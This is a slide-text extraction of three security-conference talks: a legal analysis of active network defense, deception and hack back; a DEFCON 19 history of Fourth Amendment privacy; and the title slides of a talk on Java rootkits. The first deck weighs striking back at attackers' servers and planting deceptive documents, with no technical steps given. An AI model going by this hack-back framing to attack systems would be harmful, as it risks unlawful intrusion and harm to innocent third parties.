In re Innovatio IP Ventures, LLC Patent Litigation,
886 F.Supp.2d 888 (N.D. Ill. Aug. 22, 2012)
Decision
The public's lack of awareness of the ease with
which unencrypted Wi–Fi communications can
be intercepted by a third party is, however,
irrelevant to a determination of whether those
communications are ―readily accessible to the
general public.‖ 18 U.S.C. 2511(2)(g)(i)
In re Innovatio IP Ventures, LLC
Patent Litigation & ECPA
Legal Aspects of
Full Spectrum
Computer Network
(Active) Defense
Def con topic
Is it Relevant??
Defending life and liberty and protecting property,
twenty-one state constitutions expressly tell us, are
constitutional rights, generally inalienable, though in some
constitutions merely inherent or natural and God-given.
Eugene Volokh, State Constitutional Rights of Self-Defense
and Defense of Property, Texas Review of Law and Politics,
Spring 2007
Self Defense - History
Self-defense and defense of property are long-
recognized legal doctrines, traditionally protected
by the common law.
Eugene Volokh, State Constitutional Rights of Self-Defense
and Defense of Property, Texas Review of Law and Politics,
Spring 2007
Self Defense - History
Common Law doctrine – Trespass to Chattel
Recover actual damages suffered due to impairment of
or loss of use of property.
May use reasonable force to protect possession against
even harmless interference.
The law favors prevention over post-trespass recovery, as
it is permissible to use reasonable force to retain
possession of chattel but not to recover it after possession
has been lost.
Self Defense - History
Intel v. Hamidi, 71 P. 2d. (Cal. Sp. Ct.
June 30, 2003)
Right to exclude people from one’s personal
property is not unlimited.
Self-defense of personal property one must prove
in a place right to be
acted without fault
used reasonable force
reasonably believed was necessary
to immediately prevent or terminate other
person's trespass or interference with
property lawfully in his possession.
Self Defense - History
Moore v. State, 634 N.E. 2d. 825 (Ind.
App. 1994) and Pointer v. State, 585 N.E.
2d. 33 (Ind. App. 1992)
The common-law right to protect property has
long generally excluded the right to use force
deadly to humans.
Eugene Volokh, State Constitutional Rights of Self-
Defense and Defense of Property, Texas Review of
Law and Politics, Spring 2007
Self Defense - History
Common Law Doctrine – Trespass to Chattel
May use reasonable force to protect possessions against
even harmless interference.
Prevention over post-trespass recovery
Self-defense of personal property
in a place right to be
acted without fault
used reasonable force
reasonably believed was necessary
to immediately prevent or terminate other person's
trespass or interference with property lawfully in his
possession.
Self Defense - History
Building the Case of Reasonableness
Defense of Property
Conduct constituting an offense is justified if:
(1) an aggressor unjustifiably threatens the
property of another, and
(2) the actor engages in conduct harmful to the
aggressor:
(a) when and to the extent necessary to
protect the property,
(b) that is reasonable in relation to the harm
threatened.
Full Spectrum Computer Network
Defense
Building the Case of Reasonableness
Measures Done to Secure and Defend
Technology
Intelligence/Situational Awareness
IA/Policies/Training
Information Control
Active Defense
Deception
Recovery Operations
―Stop the Pain‖
Full Spectrum Computer Network
Defense
Building the Case of Reasonableness
What was missing from previous slide and goes
directly to reasonableness
PREVIOUS & ONGOING
COORDINATION WITH LAW
ENFORCEMENT AGENCIES
Full Spectrum Computer Network
Defense
Building the Case of Reasonableness
Measures Done to Secure and Defend
Technology
Intelligence/Situational Awareness
IA/Policies/Training
Information Control
Active Defense
Deception
Recovery Operations
―Stop the Pain‖
Full Spectrum Computer Network
Defense
Building the Case of Reasonableness
Measures Done to Secure and Defend
Technology
Intelligence/Situational Awareness
IA/Policies/Training
Information Control
Active Defense
Deception
Recovery Operations
―Stop the Pain‖
Full Spectrum Computer Network
Defense
Technology
Firewalls
Intrusion Detection Systems
Intrusion Prevention Systems
Real Time Network Awareness
SSL Proxy
Logging/Monitoring
Host (accounts, processes, services)
Networks (flows, connections, stat)
Honeypots/Honeynets/Honeytokens
To Legally Intercept Communications,
Exception to Wiretap Act Must Apply
Party to the Communication or Consent of
a Party to the Communication
Provider Exception (System Protection)
Technology
Consent
Where there is a legitimate expectation of
privacy, consent provides an exception to the
warrant and probable cause requirement.
A computer log-on banner, workplace policy,
or user agreement may constitute user consent
to a search. See United States v. Monroe, 52
M.J. 326, 330 (C.A.A.F. 1999)
Technology
Wiretap Statute: Rights or Property Exception
18 U.S.C. § 2511(2)(a)(i)
A provider ―may intercept or disclose
communications on its own machines ―in the normal
course of employment while engaged in any activity
which is a necessary incident to . . . the protection of
the rights or property of the provider of that service.‖
Generally speaking, the rights or property exception
allows tailored monitoring necessary to protect
computer system from harm. See U.S. v McLaren, 957
F. Supp 215, 219 (M.D. Fla. 1997).
Technology
Generally speaking, the rights or property exception
allows tailored monitoring necessary to protect
computer system from harm.
Computer Network Security & Defense
See U.S. v McLaren, 957 F. Supp 215, 219 (M.D. Fla. 1997).
Technology
Intellectual Property
Trade Secrets
Research & Development
The Crown Jewels
Air Gap
Beacons
Beacons
Pen Testing/Red Teaming
Spear Phishing
Lanham Act 15 U.S.C. §§ 1051 et seq
National system of trademark registration
Protects owners of federally registered
marks against the use of similar marks
if such use is likely to result in consumer
confusion, or
if the dilution of a famous mark is likely to
occur.
Pen Testing/Red Teaming
Spear Phishing
Lanham Act 15 U.S.C. §§ 1051 et seq
Dilution
The use of a mark or trade name in
commerce sufficiently similar to a famous
mark that by association it reduces, or is
likely to reduce, the public’s perception
that the famous mark signifies something
unique, singular or particular.
Intelligence/Situational Awareness
Open Source Intelligence
US-CERT
Commercial Intelligence Provider
Active Business Intelligence
Competitive Intelligence v. Economic
Espionage
Intelligence/Situational Awareness
The Economic Espionage Act of 1996 (EEA),
18 U.S.C. §§ 1831-39
Protects proprietary economic information
makes some trade secret theft a crimes.
Congress enacted for ―a systematic approach to
the problem of economic espionage.‖
Designed to reflect the importance "intangible
assets" and like trade secrets in the "high-
technology, information age."
Intelligence/Situational Awareness
The Economic Espionage Act of 1996 (EEA),
18 U.S.C. §§ 1831-39
Section 1831 Economic Espionage
Section 1832 Theft of Trade Secrets
Obtaining trade secret without authorization
Copy, altered or transmitted a trade secret
without authorization
Received a trade secret knowing information
was stolen or obtained without authorization.
Intelligence/Situational Awareness
The Economic Espionage Act of 1996 (EEA), 18
U.S.C. §§ 1831-39
See Douglas Nemec and Kristen Voorhees, Recent
amendment to the Economic Espionage Act extends
protection against misappropriation, found at
http://newsandinsight.thomsonreuters.com/Legal/Insight/
2013/02_February/Recent_amendment_to_the_Economic
_Espionage_Act_extends_protection_against_misapprop
riation/
Intelligence/Situational Awareness
The Economic Espionage Act of 1996 (EEA), 18
U.S.C. §§ 1831-39
Broad and applies to more than just intentional theft.
Can be a significant hazard for companies that legitimately
receive the confidential information of another company.
Some lawful methods for gathering business intelligence or
―research and development leads‖ may in fact constitute acts
of trade secret misappropriation.
Trade secret can be virtually any type of information,
including combinations of public information.
Douglas Nemec and Kristen Voorhees, Recent amendment to the
Economic Espionage Act extends protection against
misappropriation, found at
http://newsandinsight.thomsonreuters.com/Legal/Insight/2013/02_-
_February/Recent_amendment_to_the_Economic_Espionage_Act_ex
tends_protection_against_misappropriation/
Intelligence/Situational Awareness
Whether the information was a trade secret is the
crucial element that separates lawful from unlawful
conduct. Possession of open-source or readily
ascertainable information for the benefit of a foreign
government is clearly not espionage. The essence of
economic espionage is the misappropriation of trade
secret information for the benefit of a foreign
government.
United States v. Chung, 633 F.Supp. 2d. 1134 (C.D.
Cal. July 16, 2009)
Intelligence/Situational Awareness
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings
Bus. L.J. 285 (Summer 2012)
Intelligence/Situational Awareness
Firms routinely gather publicly available or ―open-
source‖ information about rivals a lawful practice known
as competitive intelligence.
Competitive intelligence is the ethic and lawful
application of industry and research expertise to analyze
publicly available information on rivals and to produce
actionable intelligence that supports informed and
strategic business decisions.
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Strategic and
Competitive Intelligence Professionals, found at
http://www.scip.org/content.cfm?itemnumber=2214&&
navItemNumber=492
Intelligence/Situational Awareness
Desired Information
Research Plans
R&D Data
Product Design
Marketing Strategies
Cost Structures & Pricing Strategies
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Chris Carr & Larry
Gorman, The Revictimization of Companies by the Stock
Market who Report Trade Secret Theft Under the
Economic Espionage Act, 57 Bus. Law 25 (2001)
Intelligence/Situational Awareness
Common competitive intelligence methods
Data mining
Patent tracking
Psychological modeling of rival executive
Trade shows
Monitoring mass media
Conversations with a rival’s customers, partners, and
employees.
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Susan W. Brenner &
Anthony C. Crescenzi, State Sponsored Crime: The
Futility of the Economic Espionage Act, 28 Hous.J. Int’l
L. 389 (2006)
Intelligence/Situational Awareness
Competitive intelligence does not connote
misappropriation by theft, deception, or otherwise of
proprietary information or trade secrets.
Focus on open source public information.
Shareholders reports
Advertising
Sales literature
Press releases, news stories, published interviews
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Anthony J. Dennis,
Assessing the Risks of Competitive Intelligence Activities
under the Antitrust Laws, 46 S.C.L. Rev. 263
(1995)(differentiating CI from illegal information
gathering activities).
Intelligence/Situational Awareness
Competitive intelligence that raises ethical questions
Appropriating documents misplaced by rivals
(iPhone?)
Overhearing rival executives discussing strategy
(Misplaced Trust & Third Party Doctrine)
Hiring employees away from rivals
―Dumpster diving‖ in rival’s trash receptacles.
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Chris Carr & Larry
Gorman, The Revictimization of Companies by the Stock
Market who Report Trade Secret Theft Under the
Economic Espionage Act, 57 Bus. Law 25 (2001)(defining
lawful but unethical CI activities); Victoria Sind-Flor,
Industry Spying Still Flourishes, Nat’l L., Mar. 29, 2000)
Intelligence/Situational Awareness
Methods of Economic Espionage
Electronic eavesdropping
Surveillance of rival executives and scientists
Social Engineering
Bribing employees or vendors
Planting ―moles‖ in rival firms
Hacking and stealing computers
Cybertheft of data
Outright stealing trade secrets in documentary,
electronic, and other formats.
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Chris Carr & Larry
Gorman, The Revictimization of Companies by the Stock
Market who Report Trade Secret Theft Under the
Economic Espionage Act, 57 Bus. Law 25 (2001
Intelligence/Situational Awareness
Methods of Economic Espionage
Electronic eavesdropping
Surveillance of rival executives and scientists
Social Engineering
Bribing employees or vendors
Planting ―moles‖ in rival firms
Hacking and stealing computers
Cybertheft of data
Outright stealing trade secrets in documentary,
electronic, and other formats.
William Bradford, The Creation and Destruction of
Price Cartels: An Evolutionary Theory, 8 Hastings Bus.
L.J. 285 (Summer 2012)(citing, Chris Carr & Larry
Gorman, The Revictimization of Companies by the Stock
Market who Report Trade Secret Theft Under the
Economic Espionage Act, 57 Bus. Law 25 (2001)
Intelligence/Situational Awareness
United States v. Aleynikov, 676 F.3d. 71 (2d Cir (SDNY)
Apr. 11, 2012)
Sergey Aleynikov, was a former computer programmer and
vice president in Equities at Goldman Sachs.
Responsible for developing computer programs used in the
bank’s high-frequency trading (HFT) system.
HFT system used statistical algorithms to analyze past trades
and market developments.
System was proprietary information and protected by
various security measures to keep it secret.
Sergey makes $400K, highest paid of 25 programmers in his
group.
Hired at competitor at over $1M
Intelligence/Situational Awareness
United States v. Aleynikov, 676 F.3d. 71 (2d Cir (SDNY)
Apr. 11, 2012)
Last day of employment
Just before going away party
Aleynikov encrypted and uploaded to a server in Germany
500,000 lines of source code.
After upload, deleted the encryption program and history of
his computer commands.
Later downloads source code from the German server to his
home computer in the United States, flew to Chicago, Illinois,
and brought the source code with him to a meeting with a
Goldman Sachs competitor.
Intelligence/Situational Awareness
United States v. Aleynikov, 676 F.3d. 71 (2d Cir (SDNY)
Apr. 11, 2012
Defendant was convicted of stealing and transferring
proprietary computer source code of his employer's in
violation of National Stolen Property Act (NSPA) and
Economic Espionage Act (EEA)
Aleynikov appealed arguing that Section 1832(a) only applies
to trade secrets ―relating to tangible products actually sold,
licensed or otherwise distributed.‖ The source code, he
argued, was never intended to be placed in interstate or
foreign commerce.
Intelligence/Situational Awareness
United States v. Aleynikov, 676 F.3d. 71 (2d Cir (SDNY)
Apr. 11, 2012
Defendant was convicted of stealing and transferring
proprietary computer source code of his employer's in
violation of National Stolen Property Act (NSPA) and
Economic Espionage Act (EEA)
Aleynikov appealed arguing that Section 1832(a) only applies
to trade secrets ―relating to tangible products actually sold,
licensed or otherwise distributed.‖ The source code, he
argued, was never intended to be placed in interstate or
foreign commerce.
The Court of Appeals held that: computer source code did
not constitute stolen ―goods,‖ ―wares,‖ or ―merchandise‖
within meaning of NSPA and defendant's theft of source code
did not violate EEA.
Intelligence/Situational Awareness
IA Policies/Training
IA Training
Banners
User Agreements
Annually/Semi/Quarterly
Enforcement
Employee discipline for violating?
Information Control
Access lists
Encryption
DRM
Electronic Mail Control
Active Defense
Deception
Active Defense
Deception
& The SEC
Section 21(a) of the Exchange Act authorizes the
Commission to investigate violations of the federal
securities laws, and, in its discretion, ―to publish
information concerning any such violations.‖
Securities and Exchange Act of 1934, Release No.
69279/April 2, 2013, Report of investigation Pursuant to
Section21(a) of the Securities Exchange Act of 1934: Netflix,
Inc., and Reed Hastings, found at
http://www.sec.gov/litigation/investreport/34-69279.pdf
Active Defense - Deception
Regulation full disclosure requires companies to
distribute material information in a manner reasonably
designed to get that information out to the general public
broadly and non-exclusively. It is intended to ensure that
all investors have the ability to gain access to material
information at the same time.
Securities and Exchange Act of 1934, Release No.
69279/April 2, 2013, Report of investigation Pursuant to
Section21(a) of the Securities Exchange Act of 1934: Netflix,
Inc., and Reed Hastings, found at
http://www.sec.gov/litigation/investreport/34-69279.pdf
Active Defense - Deception
Active Defense - Deception
A company makes public disclosure when it distributes
information ―through a recognized channel of distribution.‖
So if deception
Documents on internal computer systems
No intent of being made public
Stolen
Documents leaked to media
Company has not made a public disclosure
SEC violations or an investigation?
Active Defense
Deception Examples
RFPs
Bid Preparation
Blue Prints/Designs
Minor Defects
Major Defects - Cause Harm?
Business Plans/Financial Records
Mergers & Acquisitions
Liability to Third Parties Mentioned in
Deception Documents
Active Defense – Recovery Operations
Active Defense – Recovery Operations
Recovery Operations
An Example of Clark's Law
FTP
Server
Intruder
Innocent Third Party
Victim
Active Defense – Recovery Operations
Intruder
FTP
Server
Intruder
Innocent Third Party
Victim
Active Defense – Recovery Operations
Innocent Third Party
Issues
1. Logs
a. Third Party
b. FTP Server
c. Third Party
FTP
Server
Intruder
Innocent Third Party
Victim
Active Defense – Recovery Operations
l705 BDC 0 g858 421.1 808
Active Defense – Recovery Operations
Recovery Operations
Assume good CNE
Active Defense – Stop the Pain
The Part with a lot of audience participation
So what do you want to do
What ―pain‖ do you need to stop?
DDOS, ????
C&C
bots ????
Active Defense – Stop the Pain
―Stop the Pain‖
Good CNE
C2
Server
Intruder
Active Defense – Stop the Pain
Victim
If I fry the guy who is
attacking me -
Who is going to sue me,
the guy attacking me!?!
Active Defense
Active Defense
Hack Back
United States v John Doe, et al., No. 3:11 CV 561
(VLB), Dt. Conn, June 16, 2011
TRO
―[T]here are special needs, including to
protect the public and to perform community
caretaking functions, that are beyond the
normal need for law enforcement and make
the warrant and probable-cause requirement
of the Fourth Amendment impracticable‖
―the requested TRO is both minimally
intrusive and reasonable under the Fourth
Amendment.‖
Hack Back
United States v John Doe, et al., No. 3:11 CV 561 (VLB),
Dt. Conn, June 16, 2011
The Coreflood botnet
Five C & C servers seized
29 domain names used to communicate with the C &
C servers
If C & C servers do not respond, the existing
Coreflood malware continues to run on the victim’s
computer, collecting personal and financial
information. TRO authorizes government to respond
to requests from infected computers in the United
States with a command that temporarily stops the
malware from running on the infected computer. | pdf |
WTF Happened to
the Constitution?!
The Right to Privacy
in the Digital Age
Michael “theprez98” Schearer
DEFCON 19
Las Vegas, NV
Michael “theprez98” Schearer
• Founder and Owner, Leverage Consulting &
Associates
• 8+ years in the U.S. Navy as an EA-6B
Prowler Electronic Countermeasures
Officer
– Veteran of aerial combat missions over
Afghanistan and Iraq
– Spent 9 months on the ground in Iraq as a
counter-IED specialist
• Founding member of Church of WiFi and
Unallocated Space, and father of four
Why you should be skeptical
• I am not a lawyer
• My presentation is (both) unintentionally
and intentionally biased by my own beliefs
• This isn’t a political presentation, but it is
inevitably influenced by political issues
• Bottom line: Don’t take my word for it; read
the source material and make up your own
mind!
WTF HAPPENED TO THE
CONSTITUTION?
Part I: History
“The Right to Privacy”
• What is it?
• Where does it come from?
History (1/2)
• Magna Carta (1215)
• Divine Right of Kings (~1600-88)
• Semayne’s Case (1604)
• Lex, Rex (1644)
• The Glorious Revolution (1688)
• English Bill of Rights (1689)
• Paxson’s Case (1760)
• William Pitt, Earl of Chatham (1763)
• Wilkes v. Wood (1763), Entick v. Carrington
(1765)
History (2/2)
• Malcom Affair (1766)
• Virginia Declaration of Rights (1776)
• State Constitutions
• State Ratifying Conventions
• First Congress (1789-91)
• Bill of Rights Ratification (1791)
• Fourteenth Amendment (1868)
Magna Carta (1215)
• Proclamation by King John
of certain liberties
• King’s will was not arbitrary
• “NO Freeman shall be taken
or imprisoned, or be
disseised of
his...Liberties...but by...the
Law of the land.”
Divine Right of Kings (1600-88)
• Monarch derives his right
to rule from God
• Not subject to the people,
laws, or even the Church
• Theory was used to justify
absolute monarchism
Semayne’s Case (1604)
• Gresham and Berisford--joint tenants
• Berisford died and left some papers to
Semayne
• Sheriff of London, with a valid writ, entered
the house by breaking down the doors
“the house of every one is
to him as his castle and
fortress, as well for his
defence against injury and
violence as for his repose.”
-- Sir Edward Coke
Lex, Rex (1644)
• The Law and the Prince (or, The Law is King)
• Written by Scottish minister Samuel
Rutherford
• Defends the rule of law, limited
government and constitutionalism
• Attacking royal absolutism and the divine
right of kings
• Charged with high treason
• Book was burned in Edinburgh, St.
Andrews, and Oxford
The Glorious Revolution (1688)
• Overthrow of King
James II of England
by English
Parliamentarians
and William of
Orange
• The end of absolute
rule by the
monarchy
• Drafting of the
English Bill of Rights
English Bill of Rights (1689)
•
No royal interference with
the law
•
No taxation by Royal
Prerogative
•
Civil courts (not Church
courts)
•
Freedom of petition
•
No standing army
•
Right to bear arms for their
own defense
•
No cruel or unusual
punishments, or excessive
bail
Paxson’s Case (1760)
• Writs of assistance
• The death of King
George II in October
1760
• Charles Paxson,
British customs
official
• James Otis, Jr.,
Boston attorney
• Outcome
William Pitt, Earl of Chatham
(1763)
"The poorest man may in
his cottage bid defiance
to all the force of the
crown. It may be frail—
its roof may shake—the
wind may blow through
it—the storm may enter,
the rain may enter—but
the King of England
cannot enter—all his
force dares not cross the
threshold of the ruined
tenement.”
Wilkes v. Wood (1763),
Entick v. Carrington (1765)
• John Wilkes,
“radical” journalist
(The North Briton)
• John Entick,
“radical” journalist
(The Monitor)
• Lord Camden
condemned the
practice of general
warrants
Malcom Affair (1766)
• Search of Daniel Malcom’s home (and
business) in Boston on a writ of assistance
• Malcom permitted the search, but not of a
locked cellar
• Officials returned with a specific warrant,
but Malcom locked his house
• Malcom and Otis provoking another
lawsuit?
Virginia Declaration of Rights
(1776)
X That general warrants,
whereby any officer or
messenger may be
commanded to search
suspected places without
evidence of a fact
committed, or to seize any
person or persons not
named, or whose offense is
not particularly described
and supported by evidence,
are grievous and oppressive
and ought not to be granted.
State Constitutions
Of the ten states that adopted constitutions
between the Declaration of Independence
and the Constitution:
– Three expressed condemned general warrants
(Virginia, Maryland, North Carolina)
– Three included provisions similar to the
eventual language of the Fourth Amendment
(Massachusetts, Pennsylvania, Vermont)
– Delaware, New York and New Jersey did not
include any provisions resembling the eventual
Fourth Amendment, but all three states did
explicitly include provisions that incorporated
English common law
State Ratifying Conventions
• Patrick Henry’s
speech, June 24,
1788, enumerated
rights (Virginia)
• New York
• Rhode Island
First Congress (1789-91)
• Enumerated rights
vs. limited powers
• Madison’s first
draft
• Bill of Rights
ratification (1791)
Fourteenth Amendment (1868)
• One of three Reconstruction Amendments
• Legitimize the Civil Rights Act of 1866
• Sought to overrule Dred Scott v. Sandford
(1857)
• Sought to overrule Barron v. Baltimore
(1833) and apply the Bill of Rights to the
states
– Privileges or Immunities Clause (Slaughterhouse
Cases)
– Due Process Clause (Wolf v. Colorado, 1949;
Mapp v. Ohio, 1961)
WTF HAPPENED TO THE
CONSTITUTION?
Part II: The Fourth Amendment
Fourth Amendment
The right of the people to be secure in their
persons, houses, papers, and effects, against
unreasonable searches and seizures, shall not
be violated, and no Warrants shall issue, but
upon probable cause, supported by Oath or
affirmation, and particularly describing the
place to be searched, and the persons or
things to be seized.
Search by
government?
Reasonably
expect privacy?
Standing?
Was there a
warrant?
Was
warrant
proper and
executed
correctly?
Search
Valid
No?
Police good
faith?
Inevitable
Discovery?
Independent
source?
Search
Valid
No?
Warrant Exception?
*Incident to arrest
*Auto search
*Plain view
*Consent
*Stop & frisk
*Hot pursuit/evanescent
evidence
Search
Valid
Key questions
• Was the action performed by the
government?
• Was there a reasonable expectation of
privacy?
• Was there a warrant?
• Was the warrant proper and executed
correctly?
Was the action performed
by the government?
• Someone acting in an official capacity on
behalf of the federal or state government
• Can be a federal or state official, or a
private individual acting on behalf of the
federal or state government
Was there a reasonable
expectation of privacy?
• A government intrusion only constitutes a
“search” when there is a reasonable
expectation of privacy
• Otherwise, it is not a search and the Fourth
Amendment does not apply
Reasonable expectation of privacy
1. Actual expectation of privacy
2. Your expectation is reasonable to society
as a whole
Reasonable expectation of privacy
Reasonable expectation of privacy
Reasonable expectation of privacy
• Inside / outside (home)
• Inside / outside (container)
• Inside / outside (body)
• Content / non-content (digital)
• Private / shared (social network)
Was there a warrant?
• Consent
• Plain view
• Open fields
• Curtilage
• Exigent circumstances
• Motor vehicle
Was the warrant proper
and executed correctly?
• Proper:
– Probable cause
– Particularity
– Neutral magistrate
• Signed under oath
• PC not stale/out of date
• Execution:
– Timely / Time of day
– Knock and announce
– Search only areas listed in warrant
– Seize only items listed in warrant & plain view
Exceptions to the Exclusionary Rule
• Good faith
• Inevitable discovery
• Independent source
• Intervening acts
Burden of proof
• Reasonable suspicion
• Probable cause
• Preponderance of the evidence
• Beyond reasonable doubt
WTF HAPPENED TO THE
CONSTITUTION?
Part III: Things That
Should Piss You Off
Things that should piss you off
1. Administrative searches
2. Administrative warrants and subpoenas
3. Public surveillance
4. Schools and students’ rights
5. Legislators, judges and technology
6. It’s your fault, too
Administrative searches
• What is it? A search conducted as part of a
general regulatory scheme
• Why is it problematic? Generally,
administrative searches are considered
reasonable if they are no more intrusive or
intensive than necessary and thus not
subject to further Fourth Amendment
scrutiny; pre-textual for criminality
• What can we do about it? Demonstrate
that searches are increasingly intrusive in
light of current technology
• Verdict: tough row to hoe
Administrative warrants and subpoenas
• What is it? Authorizes searches for
regulatory schemes, or to obtain “non-
content” information
• Why is it problematic? Some forms of
administrative warrants or subpoenas, such
as National Security Letters, have very little
judicial oversight; PC not required?
• What can we do about it? Continue to
support efforts to publicize abuse
• Verdict: Doe v. Ashcroft began to rollback
NSLs; but more work must continue
Public surveillance
• What is it? Surveillance cameras, GPS
tracking, marking our every move
• Why is it problematic? Long term
surveillance, technology increases the
intrusion even in public spaces; amassing of
data without suspicion
• What can we do about it? Use privacy-
enhancing technologies to our advantage;
publicize known and obvious abuses
• Verdict: Are we too far down the slippery
slope?
Schools and students’ rights
• What is it? Students are often denied the
same basic rights as other citizens
• Why is it problematic? While there are
legitimate concerns about disrupting an
educational environment, this reason is
often used as a pretext to invade students’
civil rights
• What can we do about it? Parents must
continue to stay informed about their
children and stand up for their rights
• Verdict: Students rights have eroded since
Tinker
Legislators, judges and technology
• What is it? Many legislators and judges
show little aptitude for understanding
technology that
• Why is it problematic? Technologically
incompetent legislators write poor laws,
judges make poor decisions; ultimately, the
justice system becomes undermined
• What can we do about it? Technology
education, technology courts, run for office
yourself?
• Verdict: an uphill battle, but one worth
fighting
Specialty courts
• Bankruptcy Courts
• U.S. Court of International Trade
• U.S. Court of Federal Claims
• Court of Appeals for Veterans’ Claims
• U.S. Court of Appeals for the Armed Forces
• Technology Courts?
It’s your fault, too
• What is it? We share a lot of information
voluntarily
• Why is it problematic? By openly sharing
so much information, we lower the overall
societal expectation of privacy and thus
subject ourselves to more governmental
intrusion
• What can we do about it? Just because we
can share, doesn’t mean we have to
• Verdict: Another case where we might be
too far down the slope to reverse course
Voluntary disclosure of privacy
WTF HAPPENED TO THE
CONSTITUTION?
Some Final Observations
Unresolved questions
• Is email privacy protected by the Fourth
Amendment? [Warshak v. United States]
• Is warrantless GPS tracking constitutional?
[United States v. Jones]
• Can your cell phone be searched during a
traffic stop? Is a warrant required to search
it after an arrest? [People v. Diaz, CA and
State v. Smith, OH]
• Can the government force you to reveal a
password for an encrypted device? [United
States v. Fricosu]
Is privacy dead?
• Perhaps not yet, but it’s dying fast
• We can reclaim privacy by protecting our
information and refusing to share so much
voluntarily, and in turn increasing society’s
expectation of privacy
• Increase awareness by shining the light on
governmental intrusions into privacy rights
• Shift our focus
A new focus
• Do you have the right to wear red hats on
Wednesdays? Why or why not? Or should
we ask the question another way?
• Enumerated powers, Ninth Amendment,
Tenth Amendment, Fourteenth
Amendment
• Islands of liberty in a sea of power, or
islands of power in a sea of liberty?
• Only you can make a difference for you
WTF HAPPENED TO THE
CONSTITUTION?
Questions
Sources and References
Assault on Privacy [http://assaultonprivacy.blogspot.com]
Criminal Procedure Flow Charts [http://www.scribd.com/doc/23861708/Crim-Pro-Flowcharts]
Search and Seizure Flowchart [http://jyates.myweb.uga.edu/CP_Midterm_Review.ppt]
Federal Court Rules That TSA ‘Naked Scans’ Are Constitutional *http://blogs.forbes.com/kashmirhill/2011/07/15/federal-court-rules-
that-tsa-naked-scans-are-constitutional/]
The SWAT Team Would Like to See Your Alcohol Permit [http://reason.com/archives/2010/12/13/the-swat-team-would-like-to-se]
Minnesota Tenants Challenge Nosy Housing Inspectors [http://reason.com/blog/2010/12/29/minnesota-tenants-challenge-no]
National Security Letter [https://www.eff.org/files/filenode/ia_v_mukasey/Nov2007_NSL.pdf]
Twitter Unseal Order [http://www.salon.com/news/opinion/glenn_greenwald/2011/01/07/twitter/Twitter_Unsealing_Order.pdf]
DOJ's "hotwatch" real-time surveillance of credit card transactions [http://paranoia.dubfire.net/2010/12/dojs-hotwatch-real-time-
surveillance-of.html]
Chicago's Video Surveillance Cameras Report [http://il.aclu.org/site/DocServer/Surveillance_Camera_Report1.pdf]
Supreme Court to Decide Constitutionality of Warrantless GPS Monitoring [http://www.wired.com/threatlevel/2011/06/warrantless-
gps-monitoring-scotus/]
Using hidden cameras to catch car thieves [http://articles.baltimoresun.com/2011-06-22/news/bs-md-ho-trooper-death-license-
reader20110525_1_license-plate-reader-car-thieves-motorcycle]
'Bong Hits 4 Jesus': Student Protest Goes to Supreme Court [http://abcnews.go.com/US/story?id=2953653&page=1]
Are Student Cell Phone Records Discoverable?
[http://www.law.com/jsp/lawtechnologynews/PubArticleLTN.jsp?id=1202503300012&slreturn=1&hbxlogin=1]
Texas 'Calorie Camera' Will Track How Much Students Eat [http://www.huffingtonpost.com/2011/05/11/texas-calorie-
camera_n_860771.html]
School-Webcam Spy Scandal Resurfaces [http://www.wired.com/threatlevel/2011/06/webcam-scandal-resurfaces/]
Cell phone measure targets ID theft threat [http://www.pittsburghlive.com/x/pittsburghtrib/news/cityregion/s_509880.html]
U.S. Faces Legal Challenge to Internet-Domain Seizures [http://www.wired.com/threatlevel/2011/06/domain-seizure-challenge/]
Judge Who Doesn't Understand Technology Says WiFi Is Not A Radio Communication
[http://www.techdirt.com/blog/wireless/articles/20110701/12225114934/judge-who-doesnt-understand-technology-says-wifi-
is-not-radio-communication.shtml]
Note
• For the most up-to-date version of these
slides, please visit
[http://www.scribd.com/theprez98]
WTF Happened to
the Constitution?!
The Right to Privacy
in the Digital Age
Michael “theprez98” Schearer
DEFCON 19
Las Vegas, NV | pdf |
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java
Runtime Environment
DEFCON 24, August 6th 2016
Benjamin Holland (daedared)
ben-holland.com
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Developing Managed Code Rootkits for the Java
Runtime Environment
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
$ whoami
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
$ whoami
Benjamin Holland (daedared)
B.S. in Computer Engineering (2005 - 2010)
Wabtec Railway Electronics, Ames Lab, Rockwell Collins
B.S. in Computer Science (2010 - 2011)
M.S. in Computer Engineering and Information Assurance (2010 - 2012)
MITRE
Iowa State University Research (2012 - 2015)
DARPA Automated Program Analysis for Cybersecurity (APAC) Program
PhD in Computer Engineering (2015-????)
DARPA Space/Time Analysis for Cybersecurity (STAC) Program
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Background
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Hello World
DEFCON 24, August 6th 2016
Developing Managed Code Rootkits for the Java Runtime Environment
Developing Managed Code Rootkits for the Java Runtime Environment
$ whoami
Background
JReFrameworker
Modules
Mitigations
Q/A
Java Runtime Environment
DEFCON 24, August 6th 2016
